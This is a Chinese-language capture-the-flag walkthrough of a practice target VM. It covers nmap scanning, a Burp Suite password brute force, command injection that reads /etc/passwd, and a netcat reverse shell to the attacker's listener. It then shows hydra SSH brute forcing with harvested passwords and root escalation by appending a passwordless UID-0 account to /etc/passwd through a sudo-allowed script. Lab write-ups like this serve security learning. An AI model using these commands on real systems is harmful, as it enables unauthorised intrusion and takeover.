靶机地址
一.进行信息收集
1.使用nmap扫描,进行主机发现
nmap -sn 192.168.25.0/24
使用nmap扫描之后发现ip地址为:192.168.25.147
2.使用nmap进行端口扫描
nmap -p 1-65535 -T4 -A -v 192.168.25.147
发现其开启了22,80端口
3.可以利用nmap的漏洞库对其开放的端口进行扫描
nmap --script=vuln -p22,80 192.168.25.147
并没有发现可利用的漏洞
4.使用浏览器访问
5.发现有登录框,提示账户为admin,这里可以使用burpsuit爆破一下
二.密码爆破
1.输入用户名密码,用burpsuite抓包
2.使用CTRL+I发送至intruder模块,设置密码为爆破对象
3.爆破成功,发现密码是happy
4.用账户密码登录
1.发现可以执行linux命令
2.使用burpsuite抓包
3.使用ctrl+r发送至repeater模块
4.发现执行的命令是radio,将radio的命令换一下,尝试看一下etc/passwd中的内容
发现了几个用户
5.可以执行linux命令,试试用nc反弹shell
1.burpsuite中修改命令
nc+<ip>+<port>+-e+/bin/bash
2.在kali中监听端口,burpsuite发包
nc -lvp 4444
3.成功建立连接
6 .使用python的pty模块获取一个交互式的shell
python -c "import pty;pty.spawn('/bin/sh')";
7.之前执行命令得到了三个用户,去分别看看有什么
1.发现只有jim下面有东西
2.去jim下面看看,发现一个敏感文件old-passwords.bak,用cat命令查看一下
发现是一些密码信息,将这些密码复制到一个空白的txt文件中
8.这里有密码,可以使用hydra爆破一下ssh密码
hydra ssh://192.168.25.147 -l jim -P passwd.txt -vV -e nsr -t 64
成功爆破出jim的密码为jibri104
9.使用ssh工具连接一下
1.连接成功,并且发现有一封邮件
2.去var/mail下面查看一下这个邮件,发现了charles的密码
10.使用ssh工具连接一下charles这个用户,连接成功
三.权限提升
1.查看具有root用户权限,发现有su,这里可以使用sudo提权
2.sudo su提权失败
3.使用sudo -l看看
1.发现charles可以使用root权限无密码执行的脚本,是把内容写入一个文件的末尾
4.继续提权
1.这里可以创建一个具有root权限的用户admin
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
2.这里使用charles切换admin用户的时候提示需要密码
3.在jim用户下,发现可以直接切换到root用户
5.去root目录下查看最终发flag